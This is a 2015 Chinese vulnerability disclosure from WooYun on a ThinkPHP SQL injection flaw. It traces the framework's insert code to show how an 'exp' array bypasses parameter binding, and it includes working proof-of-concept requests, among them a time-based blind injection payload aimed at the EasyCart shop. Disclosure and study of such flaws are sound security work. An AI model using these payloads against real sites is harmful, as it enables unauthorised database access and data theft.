当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115580

漏洞标题:thinkphp 某处缺陷可造成sql注射

相关厂商:ThinkPHP

漏洞作者: 魔鬼的步伐

提交时间:2015-05-27 17:02

修复时间:2015-08-25 17:29

公开时间:2015-08-25 17:29

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-27: 细节已通知厂商并且等待厂商处理中
2015-05-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-07-21: 细节向核心白帽子及相关领域专家公开
2015-07-31: 细节向普通白帽子公开
2015-08-10: 细节向实习白帽子公开
2015-08-25: 细节向公众公开

简要描述:

thinkphp 某处缺陷可造成sql注射

详细说明:

下载最新的版本:
强调一下和ph大神的漏洞 信息不一样 地方和函数都不一样 他那个已经被修复了
写一个demo:

public function test(){

$data = $_GET['data'];
$u = M('Data')->data(array(

'data' => $data
))->add();
dump($u);
}


问题出在哪里:
先看看data函数:

public function data($data=''){
if('' === $data && !empty($this->data)) {
return $this->data;
}
if(is_object($data)){
$data = get_object_vars($data);
}elseif(is_string($data)){
parse_str($data,$data);
}elseif(!is_array($data)){
E(L('_DATA_TYPE_INVALID_'));
}
$this->data = $data;
return $this;
}


没有做任何处理
然后数据流入到了add函数里面:

public function add($data='',$options=array(),$replace=false) {
if(empty($data)) {
// 没有传递数据,获取当前数据对象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
// 分析表达式
$options = $this->_parseOptions($options);

if(false === $this->_before_insert($data,$options)) {
return false;
}

// 写入数据到数据库
$result = $this->db->insert($data,$options,$replace);


其他的都不用看 主要看insert函数:

public function insert($data,$options=array(),$replace=false) {
$values = $fields = array();
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());

foreach ($data as $key=>$val){

if(is_array($val) && 'exp' == $val[0]){

$fields[] = $this->parseKey($key);
$values[] = $val[1];
}elseif(is_scalar($val)) { // 过滤非标量数据
$fields[] = $this->parseKey($key);
if(0===strpos($val,':') && in_array($val,array_keys($this->bind))){
$values[] = $this->parseValue($val);
}else{
$name = count($this->bind);
$values[] = ':'.$name;
$this->bindParam($name,$val);
}
}
}
// 兼容数字传入方式
$replace= (is_numeric($replace) && $replace>0)?true:$replace;
$sql = (true===$replace?'REPLACE':'INSERT').' INTO '.$this->parseTable($options['table']).' ('.implode(',', $fields).') VALUES ('.implode(',', $values).')'.$this->parseDuplicate($replace);
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);


最终VALUES ('.implode(',', $values).') 这样一来我们就可以无视gpc函数进行注入了
if(is_array($val) && 'exp' == $val[0]){

$fields[] = $this->parseKey($key);
$values[] = $val[1];
http://localhost:8081/phpthink/index.php?a=test&data[0]=exp&data[1]=1,2,3,4,5&data[2]=2
后台抓取sql语句为:
2015/1/29 12:56 INSERT INTO `think_data` (`data`) VALUES (1,2,3,4,5)

1.png


然后 我们在看一下 现实中的例子
我们那原创中国easycart
MemberIndex.class.php:

public function doShippingAddress(){
self::$Model=D("Shippingaddress");
$list=self::$Model->where("id=".$this->memberID)->find();
if (self::$Model->create()){
//邮件订阅
$model=D('Newsletter');
if(isset($_POST['isNewsletter']) && $_POST['isNewsletter']==1){
$data['email']=$_POST['email'];
$data['addtime']=time();
if(isset($_POST['id']) && $_POST['id']>0){
$map['memberid']=$data['memberid']=$_POST['id'];
if($_POST['Newsletter_id']){
$map['id']=$_POST['Newsletter_id'];
}
$map['_logic']='or';
if(false == $model->where($map)->save($data)){
$model->add($data);
}
}


这里面的id正好符合要求:
url:
http://localhost/easycart/index.php/MemberIndex-doShippingAddress.html
postdata:
id[0]=exp&id[1]=if(ascii((substr((select user()),1,1)))=114,sleep(5),1)&Newsletter_id=1
抓取sql语句为:
INSERT INTO `ec_shippingaddress` (`id`) VALUES (if(ascii((substr((select user()),1,1)))=114,sleep(5),1))
这样一来就可以进行全站信息枚举

漏洞证明:

修复方案:

版权声明:转载请注明来源 魔鬼的步伐@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-25 17:29

厂商回复:

如果采用官方提供的I函数获取用户输入的参数的话 这个问题是不存在的

最新状态:

暂无